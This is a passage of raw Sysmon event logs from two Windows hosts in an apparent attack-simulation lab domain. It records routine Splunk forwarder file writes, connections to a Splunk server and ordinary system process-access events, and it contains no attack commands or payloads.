Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000038541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.460{7BD73061-6F09-613B-2807-00000000F001}5772C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000038540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.455{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=3C167E9D3BBEBDC899DF03B77F8C150E,SHA256=D5B0AF606072B1F4C82D127CB4D565E45C735B1E40FF6D0F21A0DA9736DE90E4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.455{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=9DE91538EBCF748F0F7021BE9E7A876E,SHA256=C1B41E5F438A5F9CBC0955AE1D83164C05931109D369888BFB7F08095F53EB97,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.096{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=215BE78AC66EB359576C252BE57F8029,SHA256=2B16EF84EC966314BA8E768106E9D263BF0FA9C4904007D58D6834C171DF85A1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013641Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:21.233{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=12D85A8870F1BA77F5A47D686B80685C,SHA256=08BFBA327DE80C3209D275765AE9247D8FE06FACB6621EE99295B4514D161E13,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:21.018{7BD73061-6F08-613B-2707-00000000F001}25967132C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013642Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:22.280{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F52246779FDC0DA57B605115E7AADC0E,SHA256=668D446BA8B7AFFF83100EB4D5B79F774E78D6D55E17F4580EF92BA55195AD57,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:18.528{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59204-false10.0.1.12-8000- 23542300x800000000000000038551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:22.471{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=DE5D6C44FCAF636EC0446F67F0398952,SHA256=3191EC47935C4BB107CBECEF6F88885AF76D28B7449D5914C2C921A44C696FDD,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:22.331{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=FEB4B4AF908626E6BC0FC3DA57B98794,SHA256=EDD3E72E74279C0C42C04E4F5E296A7FDC84A8C8FB1A595313D6FDB967DB76E9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:22.143{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A8F0862FDA1D096677F16FA953DB2476,SHA256=CA66372FE97FD8F6FB0FC6139513AA6231C2D20C8808AC9DD29665E090AA3745,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013644Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:22.407{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50104-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000013643Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:23.389{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0407FE28E3B791586EA638B183FEBF37,SHA256=A7E101CB9FB08C016D064D13CD43A3E0F6FA9B5EB2A8BB88C31416965A4AD590,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:23.408{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1041ACA160AF62E2F6E7FAE2B63139C7,SHA256=38D98B87093FF989E5A44A94544ED0EE4D0FA886E71C9DC0A4D16470F6359D9B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:23.190{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3CEC03D7F74938C6CD2DC21487C5C832,SHA256=C6BDC59698703229492FF279DDF0A2F1C2C5F99C538ACD5E6153C4612C95B7AA,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013645Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:24.405{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A08EF82FCC87422BC59798C926CA5175,SHA256=F6E5F95E1BCF44B3D0EE3A8CC8CB0D7C466FE4921AED05BBFA59D7C3D21A5DDE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:24.455{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=D585C7FEAC5967F27E827313535E4217,SHA256=B347830E984056D99ABF9A704FE87FDD696B91713D0F185592219D11773C8344,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:24.221{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5539F25E67136B29367EA3D6B77078EE,SHA256=92FD2E3EA494D3D28FDBAC57CE41C9A1D4C66854FFF2FDF53A04194FE1AEAE8F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013646Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:25.451{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=46F564757BD376B324C0B1A97DAA086B,SHA256=0F3D646802E01C31E3E7F5CEF134D36ECC6BAD2AB06F001CDCBE1C9CA01B8CD8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038558Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:25.486{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=5824C0F0A2814B457F645E2809EAC2D0,SHA256=5A5CE40F2574E7404C7739F5922E016AC1224675F3E36BA23BE9754736A3CEF2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038557Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:25.252{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9E0B6190701E2AE8F27582BC2638C658,SHA256=813DDEE8D4CD85CA516DA414FFA7DDF0254F00132C5714352B8A389E0636F54C,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038561Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:24.387{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59205-false10.0.1.12-8000- 23542300x800000000000000038560Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:26.518{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=ED9024DCAB2CA29EC47D030A94A166A8,SHA256=91747081F5345A3BFC12B16CEFF0AC31B6F476EF7C7350CEA474BE69A0005023,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038559Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:26.252{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4438F034AA5D00873D0F3FCD54C1129C,SHA256=22ADA7E5D9CCB170D67D89C5FFF24A7F4AB9F918656FBC2507676338EB64B356,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013647Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:26.467{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2777B21597A154696C88C704FA512FDA,SHA256=438DA9CF5A5966ECCD4AFB2B82E932EB8F9AFA87A05A74E3DF79325B67D279AB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038563Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:27.565{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=A4EB3DCDA2C50591BA4C1BA571769226,SHA256=6679C69E9E412593E03B7B0208EEA396DE1E89FE89FAB03363351CE3FD6B46A4,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038562Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:27.283{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1DC8792532625BE4F4FA9444898F1C52,SHA256=68BD97A259655B415906507C12576B29AF10CEFE82DCB7BAC1BDA7A5A12A1075,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013648Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:27.467{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=90E1FBE4144DC61D8F021D13A8B0B420,SHA256=CED72E5FE63F1234C70C2DA128939D3F9AF023EC45B2DCA4051E2E06B3A835EC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013649Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:28.483{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=582686C09738F11129DC01ADA074C6B5,SHA256=30C2FF7F6B9E1A57DE9F752C66C83B6E6F6D7476208E9DC79DCFC903B9326FE3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038565Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:28.694{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B2B84701DE8404D2062B0F5265AED4B7,SHA256=7974C2D9703419B0011AB451BE71FC5A8CD195DD280CDF4A261ECAFEEC72948F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038564Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:28.346{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E5AB433D0C2C2917049BD031FF13E650,SHA256=56B988389E8D7FE82FDE0670933AEAADFC0946BB43CC9C353271D721E955345B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013650Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:29.498{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8C1701B7060F6D6E267C6484C24C2423,SHA256=5BC9111D94060B7DDF03C01D081F056C225B69B2A60C04B692018F9BFEE0CBEE,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038569Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:29.736{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=1999D110DE9E71A477359A0410630E2A,SHA256=52F274A838EB6F48B2BC388237ACBAF41FE44C90D36D7163BBA549C25B1D4912,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000038568Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:29.674{7BD73061-65B0-613B-0B00-00000000F001}620748C:\Windows\system32\lsass.exe{7BD73061-65AD-613B-0100-00000000F001}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96ef2|C:\Windows\system32\kerberos.DLL+793e4|C:\Windows\system32\kerberos.DLL+1443f|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+2b3d4|C:\Windows\system32\lsasrv.dll+30929|C:\Windows\system32\lsasrv.dll+2e287|C:\Windows\system32\lsasrv.dll+2d211|C:\Windows\system32\lsasrv.dll+15ded|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e 23542300x800000000000000038567Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:29.424{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038566Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:29.361{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=823D02706282A9CF55C5AADDB72219E1,SHA256=5EA88363819F64BA74238B1EA98D3902E9AE8CB1668A3B152504D06704AF9BD1,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:28.998{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59207-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000038575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:28.997{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcptruetruefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local59207-truefe80:0:0:0:54c:bd54:34e2:1fb5win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000038574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:28.731{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59206-false10.0.1.12-8089- 23542300x800000000000000038573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:30.741{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=52F0B7884831823DACF3E40ADCDFA252,SHA256=53C93ABCE548AE9A42279C0EDCAD7F1DB0EEAC10471DF55DAB26D766519E4C99,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038572Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:30.726{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=86A645946059A5DB53E6921640728726,SHA256=18390E733EB89FE0B3975CE358F5159CA13711CFCEFAD153BFF943191EB10172,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038571Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:30.726{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=CB80295320D4EA3FB2545335FF5C2922,SHA256=E8CF0879FC543B8FF6EA0DCC74C29045F6A870D61E2D612267F41665FB8D02AB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038570Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:30.601{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1C80C93B729BA0B9E2E72C1962B368F2,SHA256=2B71FB05382F99A305CBC13162F3B533CF744424A0EBF44B424C4E24453588CB,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013652Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:30.598{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=6A6BE6B387070347D6B9149F77DB3802,SHA256=285A74E68E1AFC8B53B61DAAFF9AD0F3800AFF18F93B1E832F80C5C528D02CF0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013651Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:28.392{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50105-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 10341000x800000000000000013666Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-687A-613B-A800-00000000F101}32681184C:\Windows\system32\conhost.exe{625C326B-6F13-613B-8D04-00000000F101}2292C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013665Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:31.692{625C326B-67ED-613B-0C00-00000000F101}732764C:\Windows\system32\svchost.exe{625C326B-67EE-613B-1E00-00000000F101}1980C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000013664Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 